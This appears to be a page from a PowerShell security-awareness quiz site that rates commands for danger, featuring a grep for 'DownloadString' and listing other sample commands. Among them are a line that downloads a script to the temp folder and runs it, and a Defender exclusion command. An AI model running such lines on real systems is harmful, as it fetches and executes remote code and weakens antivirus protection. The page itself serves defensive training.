Safe
Select-String -Path .\scripts\*.ps1 -Pattern 'DownloadString' -SimpleMatchcross-platform · powershell · Expert
Greps a directory of scripts for a suspicious API name and prints the matches. -SimpleMatch treats the pattern as literal text, so this is…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore PowerShell
Get-WinEvent -LogName Security -MaxEvents 50ExpertAdd-MpPreference -ExclusionPath C:\Users\PublicExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediate